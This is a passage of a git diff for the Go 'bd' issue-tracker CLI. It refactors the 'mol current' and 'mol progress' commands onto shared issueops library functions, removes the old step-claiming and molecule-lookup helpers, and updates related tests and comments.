ctx, s, orphan.ID) }) t.Run("NoOpForAlreadyClosedMolecule", func(t *testing.T) { @@ -297,7 +316,7 @@ func TestAutoCloseCompletedMolecule(t *testing.T) { } // Should not panic — early return because root is already closed - autoCloseCompletedMolecule(ctx, s, step.ID, "test-actor", "test-session") + closeWithMoleculeAutoClose(t, ctx, s, step.ID) }) t.Run("ClosesWhenReparentedStepExcluded", func(t *testing.T) { @@ -370,7 +389,7 @@ func TestAutoCloseCompletedMolecule(t *testing.T) { } // Trigger auto-close — should succeed since only 2 children remain - autoCloseCompletedMolecule(ctx, s, steps[1].ID, "test-actor", "test-session") + closeWithMoleculeAutoClose(t, ctx, s, steps[1].ID) // Verify root auto-closed (reparented step should be excluded from molecule) updatedRoot, err := s.GetIssue(ctx, root.ID) diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 7fe321c17..ded0f415f 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -496,8 +496,10 @@ func validateFullGraphPlan(plan *GraphApplyPlan, cfg graphPlanConfig, opts Graph // duplicate ID (matching `bd create --id`), which for an atomic graph create // would silently rewrite the existing issue while reporting creation — a plan // must fail fast instead. Deliberately not overridable by --force: that flag -// vouches for a foreign prefix, not for destroying existing data. Best-effort -// by transport: exists is nil where the calling context has no store access. +// vouches for a foreign prefix, not for destroying existing data. The probe is +// exact on every backend, http included (its GetIssue answers a miss with +// storage.ErrNotFound like the local stores); exists is nil only where the +// command opened no store. func validateGraphApplyExplicitIDCollisions(plan *GraphApplyPlan, exists func(id string) (bool, error)) error { if exists == nil { return nil diff --git a/cmd/bd/mol_bond_compound_label_test.go b/cmd/bd/mol_bond_compound_label_test.go index 1bdc94b3c..30ce296b5 100644 --- a/cmd/bd/mol_bond_compound_label_test.go +++ b/cmd/bd/mol_bond_compound_label_test.go @@ -45,9 +45,6 @@ func (w *recordingMolWriter) DeleteIssue(context.Context, string, string) error func (w *recordingMolWriter) SetConfig(context.Context, string, string) error { panic("SetConfig: not part of the proto+proto bond") } -func (w *recordingMolWriter) ClaimStepIfOpen(context.Context, string, string) error { - panic("ClaimStepIfOpen: not part of the proto+proto bond") -} // TestBondProtoProtoLabelsTheCompoundAtCreation pins the property that makes // the compound's molecule label unable to land in the wrong plane: it travels diff --git a/cmd/bd/mol_current.go b/cmd/bd/mol_current.go index 6769f01ef..2fbfa9075 100644 --- a/cmd/bd/mol_current.go +++ b/cmd/bd/mol_current.go @@ -3,15 +3,16 @@ package main import ( "context" "fmt" - "sort" "strconv" "strings" "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" + "github.com/steveyegge/beads/issueops" ) // LargeMoleculeThreshold is the step count above which we show summary instead of full list. @@ -79,452 +80,100 @@ Use --limit or --range to view specific steps: if usesProxiedServer() { return runMolCurrentProxiedServer(rootCtx, args, agent, limit, rangeStr) } - - ctx := rootCtx - if store == nil { return HandleErrorRespectJSON("no database connection") } - - var rangeStart, rangeEnd int - if rangeStr != "" { - var err error - rangeStart, rangeEnd, err = parseRange(rangeStr) - if err != nil { - return HandleErrorRespectJSON("invalid range '%s': %v", rangeStr, err) - } + resolve := func(ctx context.Context, arg string) (string, error) { + return utils.ResolvePartialID(ctx, store, arg) } - - explicitSteps := limit > 0 || rangeStr != "" - - var molecules []*MoleculeProgress - - if len(args) == 1 { - moleculeID, err := utils.ResolvePartialID(ctx, store, args[0]) - if err != nil { - return HandleErrorRespectJSON("molecule '%s' not found", args[0]) - } - - stats, err := store.GetMoleculeProgress(ctx, moleculeID) - if err != nil { - return HandleErrorRespectJSON("loading molecule: %v", err) - } - - if stats.Total > LargeMoleculeThreshold && !explicitSteps && !jsonOutput { - printLargeMoleculeSummary(stats) - return nil - } - - progress, err := getMoleculeProgress(ctx, store, moleculeID) - if err != nil { - return HandleErrorRespectJSON("loading molecule: %v", err) - } - - if rangeStr != "" { - progress.Steps = filterStepsByRange(progress.Steps, rangeStart, rangeEnd) - } else if limit > 0 && len(progress.Steps) > limit { - progress.Steps = progress.Steps[:limit] - } - - molecules = append(molecules, progress) - } else { - molecules = findInProgressMolecules(ctx, store, agent) - - if len(molecules) == 0 { - molecules = findHookedMolecules(ctx, store, agent) - } - - if len(molecules) == 0 { - if jsonOutput { - return outputJSON([]interface{}{}) - } - fmt.Printf("No molecules in progress") - if agent != "" { - fmt.Printf(" for %s", agent) - } - fmt.Println(".") - fmt.Println("\nTo start work on a molecule:") - fmt.Println(" bd mol wisp create # Instantiate as ephemeral wisp") - fmt.Println(" bd update --claim # Claim a step") - return nil - } - } - - if jsonOutput { - return outputJSON(molecules) - } - - for i, mol := range molecules { - if i > 0 { - fmt.Println() - } - printMoleculeProgress(mol) - } - return nil + return runMolCurrent(rootCtx, store, resolve, args, agent, limit, rangeStr) }, } -// getMoleculeProgress loads a molecule and computes progress -func getMoleculeProgress(ctx context.Context, s molReader, moleculeID string) (*MoleculeProgress, error) { - subgraph, err := loadTemplateSubgraph(ctx, s, moleculeID) +// runMolCurrent is `bd mol current` on every route. The molecule's steps, +// their states, the progress counts and the current and next step are the +// library's (issueops.ViewMolecule, ActiveMoleculeIDs, ReadMoleculeProgress); +// what is here is the argument handling and the presentation. +func runMolCurrent(ctx context.Context, s storage.DoltStorage, resolve func(context.Context, string) (string, error), args []string, agent string, limit int, rangeStr string) error { + var rangeStart, rangeEnd int + if rangeStr != "" { + var err error + rangeStart, rangeEnd, err = parseRange(rangeStr) + if err != nil { + return HandleErrorRespectJSON("invalid range '%s': %v", rangeStr, err) + } + } + explicitSteps := limit > 0 || rangeStr != "" + + roles, err := currentMoleculeRoles(s) if err != nil { - return nil, err + return HandleErrorRespectJSON("%v", err) } - progress := &MoleculeProgress{ - MoleculeID: subgraph.Root.ID, - MoleculeTitle: subgraph.Root.Title, - Assignee: subgraph.Root.Assignee, - Total: len(subgraph.Issues) - 1, // Exclude root - } - - // Compute step readiness from within-molecule dependencies. - // Uses analyzeMoleculeParallel instead of GetReadyWork because GetReadyWork - // excludes ephemeral issues (wisp steps are ephemeral by definition). - // See: https://github.com/steveyegge/gastown/issues/1276 (historical reference) - analysis := analyzeMoleculeParallel(subgraph) - readyIDs := make(map[string]bool) - for id, info := range analysis.Steps { - if info.IsReady { - readyIDs[id] = true - } - } - - // Build step status list (exclude root) - var steps []*StepStatus - for _, issue := range subgraph.Issues { - if issue.ID == subgraph.Root.ID { - continue // Skip root - } - - step := &StepStatus{ - Issue: issue, - } - - switch issue.Status { - case types.StatusClosed: - step.Status = "done" - progress.Completed++ - case types.StatusInProgress: - step.Status = "current" - step.IsCurrent = true - progress.CurrentStep = issue - case types.StatusBlocked: - step.Status = "blocked" - default: - // Check if ready (unblocked) - if readyIDs[issue.ID] { - step.Status = "ready" - if progress.NextStep == nil { - progress.NextStep = issue - } - } else { - step.Status = "pending" - } - } - - steps = append(steps, step) - } - - // Sort steps by dependency order - sortStepsByDependencyOrder(steps, subgraph) - progress.Steps = steps - - // If no current step but there's a ready step, set it as next - if progress.CurrentStep == nil && progress.NextStep == nil { - for _, step := range steps { - if step.Status == "ready" { - progress.NextStep = step.Issue - break - } - } - } - - return progress, nil -} - -// findInProgressMolecules finds molecules with in_progress steps for an agent -func findInProgressMolecules(ctx context.Context, s molReader, agent string) []*MoleculeProgress { - var inProgressIssues []*types.Issue - - status := types.StatusInProgress - filter := types.IssueFilter{Status: &status} - if agent != "" { - filter.Assignee = &agent - } - allIssues, err := s.SearchIssues(ctx, "", filter) - if err == nil { - inProgressIssues = allIssues - } - - if len(inProgressIssues) == 0 { - return nil - } - - // Batch-find parent molecules for all in_progress issues (bd-hn4q) - issueIDs := make([]string, len(inProgressIssues)) - for i, issue := range inProgressIssues { - issueIDs[i] = issue.ID - } - moleculeRoots := findParentMolecules(ctx, s, issueIDs) - - moleculeMap := make(map[string]*MoleculeProgress) - for _, issue := range inProgressIssues { - moleculeID := moleculeRoots[issue.ID] - if moleculeID == "" { - continue - } - - if _, exists := moleculeMap[moleculeID]; !exists { - progress, err := getMoleculeProgress(ctx, s, moleculeID) - if err == nil { - moleculeMap[moleculeID] = progress - } - } - } - - // Convert to slice var molecules []*MoleculeProgress - for _, mol := range moleculeMap { - molecules = append(molecules, mol) - } - - // Sort by molecule ID for consistent output - sort.Slice(molecules, func(i, j int) bool { - return molecules[i].MoleculeID < molecules[j].MoleculeID - }) - - return molecules -} - -// findHookedMolecules finds molecules bonded to hooked issues for an agent. -// This is a fallback when no in_progress steps exist but a molecule is attached -// to the agent's hooked work via a "blocks" dependency. -func findHookedMolecules(ctx context.Context, s molReader, agent string) []*MoleculeProgress { - // Query for hooked issues assigned to the agent - status := types.StatusHooked - filter := types.IssueFilter{Status: &status} - if agent != "" { - filter.Assignee = &agent - } - hookedIssues, err := s.SearchIssues(ctx, "", filter) - if err != nil || len(hookedIssues) == 0 { - return nil - } - - // For each hooked issue, check if it IS a molecule or has blocks deps on one - moleculeMap := make(map[string]*MoleculeProgress) - for _, issue := range hookedIssues { - // Check if the hooked issue itself is a molecule (e.g., patrol wisps - // are directly hooked without a separate handoff bead). hq-3paz0m - if issue.IssueType == types.TypeEpic { - if _, exists := moleculeMap[issue.ID]; !exists { - progress, err := getMoleculeProgress(ctx, s, issue.ID) - if err == nil { - moleculeMap[issue.ID] = progress - continue - } - } - } - - deps, err := s.GetDependencyRecords(ctx, issue.ID) + if len(args) == 1 { + moleculeID, err := resolve(ctx, args[0]) if err != nil { - continue + return moleculeNotResolved(args[0], err) } - // Look for a blocks dependency pointing to a molecule (epic or template) - for _, dep := range deps { - if dep.Type != types.DepBlocks { - continue + if !explicitSteps && !jsonOutput { + stats, err := issueops.ReadMoleculeProgress(ctx, roles.molecule, moleculeID) + if err != nil { + return HandleErrorRespectJSON("loading molecule: %v", err) } - // The issue depends on (is blocked by) dep.DependsOnID - candidate, err := s.GetIssue(ctx, dep.DependsOnID) - if err != nil || candidate == nil { - continue - } - - // Check if candidate is a molecule (epic or has template label) - isMolecule := candidate.IssueType == types.TypeEpic - if !isMolecule { - for _, label := range candidate.Labels { - if label == BeadsTemplateLabel { - isMolecule = true - break - } - } - } - - if isMolecule { - if _, exists := moleculeMap[candidate.ID]; !exists { - progress, err := getMoleculeProgress(ctx, s, candidate.ID) - if err == nil { - moleculeMap[candidate.ID] = progress - } - } - } - } - } - - // Convert to slice - var molecules []*MoleculeProgress - for _, mol := range moleculeMap { - molecules = append(molecules, mol) - } - - // Sort by molecule ID for consistent output - sort.Slice(molecules, func(i, j int) bool { - return molecules[i].MoleculeID < molecules[j].MoleculeID - }) - - return molecules -} - -// findParentMolecules batch-finds the root molecule for multiple issue IDs. -// Returns a map of issueID → moleculeRootID for issues that belong to a molecule. -// Issues not part of a molecule are omitted from the result. -// -// This replaces the previous N+1 pattern where findParentMolecule was called -// in a loop, issuing GetDependencyRecords + GetIssue per level per issue. -// Instead, this walks parent-child chains level-by-level using batch queries, -// reducing O(N * depth) round-trips to O(depth). (bd-hn4q) -func findParentMolecules(ctx context.Context, s molReader, issueIDs []string) map[string]string { - if len(issueIDs) == 0 { - return nil - } - - // rootOf accumulates: startID -> rootID for chains that terminated - rootOf := make(map[string]string, len(issueIDs)) - - // current tracks: startID -> currentAncestorID (still walking up) - current := make(map[string]string, len(issueIDs)) - for _, id := range issueIDs { - current[id] = id - } - - // Walk up parent-child chains in batch, level by level - for depth := 0; depth < 50 && len(current) > 0; depth++ { - // Collect unique IDs at current level - seen := make(map[string]bool, len(current)) - toCheck := make([]string, 0, len(current)) - for _, curID := range current { - if !seen[curID] { - seen[curID] = true - toCheck = append(toCheck, curID) + if stats.Total > LargeMoleculeThreshold { + printLargeMoleculeSummary(stats) + return nil } } - // Batch fetch parent-child deps for all current ancestors - allDeps, err := s.GetDependencyRecordsForIssues(ctx, toCheck) + view, err := issueops.ViewMolecule(ctx, roles.molecule, moleculeID) if err != nil { + return HandleErrorRespectJSON("loading molecule: %v", err) + } + progress := moleculeProgressOf(view) + if rangeStr != "" { + progress.Steps = filterStepsByRange(progress.Steps, rangeStart, rangeEnd) + } else if limit > 0 && len(progress.Steps) > limit { + progress.Steps = progress.Steps[:limit] + } + molecules = append(molecules, progress) + } else { + ids, err := issueops.ActiveMoleculeIDs(ctx, roles.reader, roles.molecule, agent) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + molecules, err = viewMolecules(ctx, roles, ids) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + if len(molecules) == 0 { + if jsonOutput { + return outputJSON([]interface{}{}) + } + fmt.Printf("No molecules in progress") + if agent != "" { + fmt.Printf(" for %s", agent) + } + fmt.Println(".") + fmt.Println("\nTo start work on a molecule:") + fmt.Println(" bd mol wisp create # Instantiate as ephemeral wisp") + fmt.Println(" bd update --claim # Claim a step") return nil } + } - // Build parent lookup: childID -> parentID - parentOf := make(map[string]string, len(allDeps)) - for childID, deps := range allDeps { - for _, dep := range deps { - if dep.Type == types.DepParentChild { - parentOf[childID] = dep.DependsOnID - break - } - } + if jsonOutput { + return outputJSON(molecules) + } + for i, mol := range molecules { + if i > 0 { + fmt.Println() } - - // Advance chains that have parents, finalize those that don't - nextCurrent := make(map[string]string) - for startID, curID := range current { - if parent, ok := parentOf[curID]; ok { - nextCurrent[startID] = parent - } else { - rootOf[startID] = curID - } - } - current = nextCurrent + printMoleculeProgress(mol) } - - // Anything still walking after max depth — treat as root - for startID, curID := range current { - rootOf[startID] = curID - } - - // Batch fetch root issues to check if they're molecules - uniqueRoots := make(map[string]bool, len(rootOf)) - for _, rootID := range rootOf { - uniqueRoots[rootID] = true - } - rootIDs := make([]string, 0, len(uniqueRoots)) - for id := range uniqueRoots { - rootIDs = append(rootIDs, id) - } - - // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and - // the importIssueLookup TODO in import_shared.go for why this is not yet - // routed through the role. - rootIssues, err := s.GetIssuesByIDs(ctx, rootIDs) - if err != nil { - return nil - } - - isMolecule := make(map[string]bool, len(rootIssues)) - for _, issue := range rootIssues { - // `bd mol pour` creates roots with TypeMolecule (no template label), - // while distilled-from-epic templates use TypeEpic + BeadsTemplateLabel. - // Both shapes must be recognized so --continue can advance through - // poured molecules. See gastownhall/beads#3719. - if issue.IssueType == types.TypeEpic || issue.IssueType == types.TypeMolecule { - isMolecule[issue.ID] = true - continue - } - for _, label := range issue.Labels { - if label == BeadsTemplateLabel { - isMolecule[issue.ID] = true - break - } - } - } - - // Filter to only molecule roots - result := make(map[string]string, len(rootOf)) - for startID, rootID := range rootOf { - if isMolecule[rootID] { - result[startID] = rootID - } - } - - return result -} - -// findParentMolecule walks up the parent-child chain to find the root molecule -// for a single issue. Returns "" if the issue is not part of a molecule. -func findParentMolecule(ctx context.Context, s molReader, issueID string) string { - roots := findParentMolecules(ctx, s, []string{issueID}) - return roots[issueID] -} - -// sortStepsByDependencyOrder sorts steps by their dependency order -func sortStepsByDependencyOrder(steps []*StepStatus, subgraph *TemplateSubgraph) { - // Build dependency graph - depCount := make(map[string]int) // issue ID -> number of deps - for _, step := range steps { - depCount[step.Issue.ID] = 0 - } - - // Count blocking dependencies within the step set - stepIDs := make(map[string]bool) - for _, step := range steps { - stepIDs[step.Issue.ID] = true - } - - for _, dep := range subgraph.Dependencies { - if dep.Type == types.DepBlocks && stepIDs[dep.IssueID] && stepIDs[dep.DependsOnID] { - depCount[dep.IssueID]++ - } - } - - // Stable sort by dependency count (fewer deps first) - sort.SliceStable(steps, func(i, j int) bool { - return depCount[steps[i].Issue.ID] < depCount[steps[j].Issue.ID] - }) + return nil } // printMoleculeProgress prints the progress in human-readable format @@ -590,77 +239,6 @@ type ContinueResult struct { MoleculeID string `json:"molecule_id,omitempty"` } -// AdvanceToNextStep finds the next ready step in a molecule after closing a step. -// If autoClaim is true, it marks the next step as in_progress using optimistic -// concurrency control: the step's status is re-verified before claiming to -// guard against TOCTOU races where multiple agents identify and try to claim the -// same step concurrently. -// Returns nil if the issue is not part of a molecule. -func AdvanceToNextStep(ctx context.Context, s molWriter, closedStepID string, autoClaim bool, actorName string) (*ContinueResult, error) { - if s == nil { - return nil, fmt.Errorf("no database connection") - } - - // Get the closed step - closedStep, err := s.GetIssue(ctx, closedStepID) - if err != nil || closedStep == nil { - return nil, fmt.Errorf("could not get closed step: %w", err) - } - - result := &ContinueResult{ - ClosedStep: closedStep, - } - - // Find parent molecule - moleculeID := findParentMolecule(ctx, s, closedStepID) - if moleculeID == "" { - // Not part of a molecule - nothing to advance - return nil, nil - } - result.MoleculeID = moleculeID - - // Load molecule progress - progress, err := getMoleculeProgress(ctx, s, moleculeID) - if err != nil { - return nil, fmt.Errorf("could not load molecule: %w", err) - } - - // Check if molecule is complete - if progress.Completed >= progress.Total { - result.MolComplete = true - return result, nil - } - - // Collect all ready steps (not just the first) so we can fall back - // if a concurrent agent claims one before us. - var readySteps []*types.Issue - for _, step := range progress.Steps { - if step.Status == "ready" { - readySteps = append(readySteps, step.Issue) - } - } - - if len(readySteps) == 0 { - // No ready steps - might be blocked - return result, nil - } - - result.NextStep = readySteps[0] - - if autoClaim { - for _, candidate := range readySteps { - if err := s.ClaimStepIfOpen(ctx, candidate.ID, actorName); err == nil { - result.NextStep = candidate - result.AutoAdvanced = true - break - } - // This candidate was already claimed; try the next ready step - } - } - - return result, nil -} - // PrintContinueResult prints the result of advancing to the next step func PrintContinueResult(result *ContinueResult) { if result == nil { diff --git a/cmd/bd/mol_port.go b/cmd/bd/mol_port.go index e915f9030..68c146494 100644 --- a/cmd/bd/mol_port.go +++ b/cmd/bd/mol_port.go @@ -37,7 +37,6 @@ type molReader interface { GetConfig(ctx context.Context, key string) (string, error) IsInfraTypeCtx(ctx context.Context, t types.IssueType) bool GetCustomStatusesDetailed(ctx context.Context) ([]types.CustomStatus, error) - GetMoleculeProgress(ctx context.Context, moleculeID string) (*types.MoleculeProgressStats, error) GetMoleculeLastActivity(ctx context.Context, moleculeID string) (*types.MoleculeLastActivity, error) FindWispDependentsRecursive(ctx context.Context, ids []string) (map[string]bool, error) } @@ -58,7 +57,6 @@ type molWriter interface { CloseIssue(ctx context.Context, id, reason, actor string) error DeleteIssue(ctx context.Context, id, actor string) error SetConfig(ctx context.Context, key, value string) error - ClaimStepIfOpen(ctx context.Context, id, actor string) error } type storeMolWriter struct { @@ -103,26 +101,6 @@ func (w storeMolWriter) GetConfig(ctx context.Context, key string) (string, erro return w.DoltStorage.GetConfig(ctx, key) } -func (w storeMolWriter) ClaimStepIfOpen(ctx context.Context, id, actor string) error { - return w.DoltStorage.RunInTransaction(ctx, fmt.Sprintf("bd: advance to step %s", id), func(tx storage.Transaction) error { - current, err := tx.GetIssue(ctx, id) - if err != nil { - return err - } - if current == nil { - return fmt.Errorf("step %s not found", id) - } - if current.Status != types.StatusOpen { - return fmt.Errorf("step %s already claimed (status: %s)", id, current.Status) - } - return tx.UpdateIssue(ctx, id, map[string]interface{}{"status": types.StatusInProgress}, actor) - }) -} - -func newStandaloneStoreMolWriter(store storage.DoltStorage) storeMolWriter { - return storeMolWriter{DoltStorage: store} -} - type uowMolReader struct { uw uow.UnitOfWork } @@ -266,40 +244,6 @@ func (r uowMolReader) GetCustomStatusesDetailed(ctx context.Context) ([]types.Cu return r.uw.ConfigUseCase().GetCustomStatuses(ctx) } -func (r uowMolReader) GetMoleculeProgress(ctx context.Context, moleculeID string) (*types.MoleculeProgressStats, error) { - stats := &types.MoleculeProgressStats{MoleculeID: moleculeID} - - root, err := r.GetIssue(ctx, moleculeID) - if err != nil { - return nil, fmt.Errorf("failed to get molecule: %w", err) - } - if root != nil { - stats.MoleculeTitle = root.Title - } - - dependents, err := r.GetDependentsWithMetadata(ctx, moleculeID) - if err != nil { - return nil, fmt.Errorf("failed to get molecule children: %w", err) - } - - for _, dependent := range dependents { - if dependent.DependencyType != types.DepParentChild { - continue - } - stats.Total++ - switch dependent.Status { - case types.StatusClosed: - stats.Completed++ - case types.StatusInProgress: - stats.InProgress++ - if stats.CurrentStepID == "" { - stats.CurrentStepID = dependent.ID - } - } - } - return stats, nil -} - func (r uowMolReader) GetMoleculeLastActivity(ctx context.Context, moleculeID string) (*types.MoleculeLastActivity, error) { dependents, err := r.GetDependentsWithMetadata(ctx, moleculeID) if err != nil { @@ -459,16 +403,3 @@ func (w *uowMolWriter) DeleteIssue(ctx context.Context, id, actor string) error func (w *uowMolWriter) SetConfig(ctx context.Context, key, value string) error { return w.uw.ConfigUseCase().SetConfig(ctx, key, value) } - -func (w *uowMolWriter) ClaimStepIfOpen(ctx context.Context, id, actor string) error { - isWisp, err := w.isWisp(ctx, id) - if err != nil { - return err - } - if isWisp { - _, err := w.uw.IssueUseCase().ClaimWispIfOpen(ctx, id, actor) - return err - } - _, err = w.uw.IssueUseCase().ClaimIssueIfOpen(ctx, id, actor) - return err -} diff --git a/cmd/bd/mol_progress.go b/cmd/bd/mol_progress.go index df77f9359..531d7cd21 100644 --- a/cmd/bd/mol_progress.go +++ b/cmd/bd/mol_progress.go @@ -6,9 +6,11 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" + "github.com/steveyegge/beads/issueops" ) var molProgressCmd = &cobra.Command{ @@ -43,102 +45,82 @@ Example: if usesProxiedServer() { return runMolProgressProxiedServer(rootCtx, args) } - - ctx := rootCtx - if store == nil { return HandleErrorRespectJSON("no database connection") } - - var moleculeID string - if len(args) == 1 { - resolved, err := utils.ResolvePartialID(ctx, store, args[0]) - if err != nil { - return HandleErrorRespectJSON("molecule '%s' not found", args[0]) - } - moleculeID = resolved - } else { - moleculeIDs := findInProgressMoleculeIDs(ctx, store, currentActor()) - if len(moleculeIDs) == 0 { - if jsonOutput { - return outputJSON([]interface{}{}) - } - fmt.Println("No molecules in progress.") - fmt.Println("\nUse: bd mol progress ") - return nil - } - moleculeID = moleculeIDs[0] + resolve := func(ctx context.Context, arg string) (string, error) { + return utils.ResolvePartialID(ctx, store, arg) } - - stats, err := store.GetMoleculeProgress(ctx, moleculeID) - if err != nil { - return HandleErrorRespectJSON("%v", err) - } - - if jsonOutput { - output := map[string]interface{}{ - "molecule_id": stats.MoleculeID, - "molecule_title": stats.MoleculeTitle, - "total": stats.Total, - "completed": stats.Completed, - "in_progress": stats.InProgress, - "current_step_id": stats.CurrentStepID, - } - if stats.Total > 0 { - output["percent"] = float64(stats.Completed) * 100 / float64(stats.Total) - } - if stats.FirstClosed != nil && stats.LastClosed != nil && stats.Completed > 1 { - duration := stats.LastClosed.Sub(*stats.FirstClosed) - if duration > 0 { - rate := float64(stats.Completed-1) / duration.Hours() - output["rate_per_hour"] = rate - remaining := stats.Total - stats.Completed - if rate > 0 { - etaHours := float64(remaining) / rate - output["eta_hours"] = etaHours - } - } - } - return outputJSON(output) - } - - printMoleculeProgressStats(stats) - return nil + return runMolProgress(rootCtx, store, resolve, args) }, } -// findInProgressMoleculeIDs finds molecule IDs with in_progress steps for an agent. -// This is a lightweight version that only returns IDs without loading subgraphs. -func findInProgressMoleculeIDs(ctx context.Context, s molReader, agent string) []string { - // Query for in_progress issues - status := types.StatusInProgress - filter := types.IssueFilter{Status: &status} - if agent != "" { - filter.Assignee = &agent - } - inProgressIssues, err := s.SearchIssues(ctx, "", filter) - if err != nil || len(inProgressIssues) == 0 { - return nil +// runMolProgress is `bd mol progress` on every route: the counts are +// issueops.ReadMoleculeProgress over the molecule's direct steps, and the +// molecule without an id is the first of issueops.InProgressMoleculeIDs. +func runMolProgress(ctx context.Context, s storage.DoltStorage, resolve func(context.Context, string) (string, error), args []string) error { + roles, err := currentMoleculeRoles(s) + if err != nil { + return HandleErrorRespectJSON("%v", err) } - // Batch-find parent molecules for all in_progress issues (bd-hn4q) - issueIDs := make([]string, len(inProgressIssues)) - for i, issue := range inProgressIssues { - issueIDs[i] = issue.ID - } - moleculeRoots := findParentMolecules(ctx, s, issueIDs) - - seen := make(map[string]bool) - var moleculeIDs []string - for _, issue := range inProgressIssues { - moleculeID := moleculeRoots[issue.ID] - if moleculeID != "" && !seen[moleculeID] { - seen[moleculeID] = true - moleculeIDs = append(moleculeIDs, moleculeID) + var moleculeID string + if len(args) == 1 { + resolved, err := resolve(ctx, args[0]) + if err != nil { + return moleculeNotResolved(args[0], err) } + moleculeID = resolved + } else { + moleculeIDs, err := issueops.InProgressMoleculeIDs(ctx, roles.reader, roles.molecule, currentActor()) + if err != nil { + return HandleErrorRespectJSON("finding molecules in progress: %v", err) + } + if len(moleculeIDs) == 0 { + if jsonOutput { + return outputJSON([]interface{}{}) + } + fmt.Println("No molecules in progress.") + fmt.Println("\nUse: bd mol progress ") + return nil + } + moleculeID = moleculeIDs[0] } - return moleculeIDs + stats, err := issueops.ReadMoleculeProgress(ctx, roles.molecule, moleculeID) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + + if jsonOutput { + output := map[string]interface{}{ + "molecule_id": stats.MoleculeID, + "molecule_title": stats.MoleculeTitle, + "total": stats.Total, + "completed": stats.Completed, + "in_progress": stats.InProgress, + "current_step_id": stats.CurrentStepID, + } + if stats.Total > 0 { + output["percent"] = float64(stats.Completed) * 100 / float64(stats.Total) + } + if stats.FirstClosed != nil && stats.LastClosed != nil && stats.Completed > 1 { + duration := stats.LastClosed.Sub(*stats.FirstClosed) + if duration > 0 { + rate := float64(stats.Completed-1) / duration.Hours() + output["rate_per_hour"] = rate + remaining := stats.Total - stats.Completed + if rate > 0 { + etaHours := float64(remaining) / rate + output["eta_hours"] = etaHours + } + } + } + return outputJSON(output) + } + + printMoleculeProgressStats(stats) + return nil } // printMoleculeProgressStats prints molecule progress in human-readable format diff --git a/cmd/bd/mol_proxied_server.go b/cmd/bd/mol_proxied_server.go index 04f16955e..7f7bd4dde 100644 --- a/cmd/bd/mol_proxied_server.go +++ b/cmd/bd/mol_proxied_server.go @@ -160,158 +160,55 @@ func runPourProxiedServer(ctx context.Context, in pourInput) error { } func runMolShowProxiedServer(ctx context.Context, arg string) error { - uw, err := proxiedOpenReadUOW(ctx) + moleculeID, err := proxiedResolvePartialID(ctx, arg) if err != nil { - return err - } - defer uw.Close(ctx) - - r := uowMolReader{uw: uw} - moleculeID, err := utils.ResolvePartialID(ctx, r, arg) - if err != nil { - return HandleErrorRespectJSON("molecule '%s' not found", arg) + return moleculeNotResolved(arg, err) } - subgraph, err := loadTemplateSubgraph(ctx, r, moleculeID) + roles, err := proxiedMoleculeRoles() if err != nil { return HandleErrorRespectJSON("loading molecule: %v", err) } - - if molShowParallel { - return showMoleculeWithParallel(subgraph) - } - return showMolecule(subgraph) + return runMolShow(ctx, roles, moleculeID) } func runMolCurrentProxiedServer(ctx context.Context, args []string, agent string, limit int, rangeStr string) error { - uw, err := proxiedOpenReadUOW(ctx) - if err != nil { - return err - } - defer uw.Close(ctx) - - r := uowMolReader{uw: uw} - - var rangeStart, rangeEnd int - if rangeStr != "" { - rangeStart, rangeEnd, err = parseRange(rangeStr) - if err != nil { - return HandleErrorRespectJSON("invalid range '%s': %v", rangeStr, err) - } - } - explicitSteps := limit > 0 || rangeStr != "" - - var molecules []*MoleculeProgress - - if len(args) == 1 { - moleculeID, err := utils.ResolvePartialID(ctx, r, args[0]) - if err != nil { - return HandleErrorRespectJSON("molecule '%s' not found", args[0]) - } - - stats, err := r.GetMoleculeProgress(ctx, moleculeID) - if err != nil { - return HandleErrorRespectJSON("loading molecule: %v", err) - } - if stats.Total > LargeMoleculeThreshold && !explicitSteps && !jsonOutput { - printLargeMoleculeSummary(stats) - return nil - } - - progress, err := getMoleculeProgress(ctx, r, moleculeID) - if err != nil { - return HandleErrorRespectJSON("loading molecule: %v", err) - } - if rangeStr != "" { - progress.Steps = filterStepsByRange(progress.Steps, rangeStart, rangeEnd) - } else if limit > 0 && len(progress.Steps) > limit { - progress.Steps = progress.Steps[:limit] - } - molecules = append(molecules, progress) - } else { - molecules = findInProgressMolecules(ctx, r, agent) - if len(molecules) == 0 { - molecules = findHookedMolecules(ctx, r, agent) - } - if len(molecules) == 0 { - if jsonOutput { - return outputJSON([]interface{}{}) - } - fmt.Printf("No molecules in progress") - if agent != "" { - fmt.Printf(" for %s", agent) - } - fmt.Println(".") - fmt.Println("\nTo start work on a molecule:") - fmt.Println(" bd mol wisp create # Instantiate as ephemeral wisp") - fmt.Println(" bd update --claim # Claim a step") - return nil - } - } - - if jsonOutput { - return outputJSON(molecules) - } - for i, mol := range molecules { - if i > 0 { - fmt.Println() - } - printMoleculeProgress(mol) - } - return nil + return runMolCurrent(ctx, nil, proxiedResolvePartialID, args, agent, limit, rangeStr) } func runMolProgressProxiedServer(ctx context.Context, args []string) error { + return runMolProgress(ctx, nil, proxiedResolvePartialID, args) +} + +// proxiedResolvePartialID resolves a partial id inside a read unit of work of +// its own. A unit of work that cannot be opened is reported as itself +// (proxiedOpenReadUOW) and answered as a reportedResolveError, so the caller +// does not report a connection failure as a molecule that was not found. +func proxiedResolvePartialID(ctx context.Context, arg string) (string, error) { uw, err := proxiedOpenReadUOW(ctx) if err != nil { - return err + return "", reportedResolveError{err: err} } defer uw.Close(ctx) + return utils.ResolvePartialID(ctx, uowMolReader{uw: uw}, arg) +} - r := uowMolReader{uw: uw} +// reportedResolveError is an id resolution that failed before it could look +// the id up, and whose failure was already reported. +type reportedResolveError struct{ err error } - var moleculeID string - if len(args) == 1 { - resolved, err := utils.ResolvePartialID(ctx, r, args[0]) - if err != nil { - return HandleErrorRespectJSON("molecule '%s' not 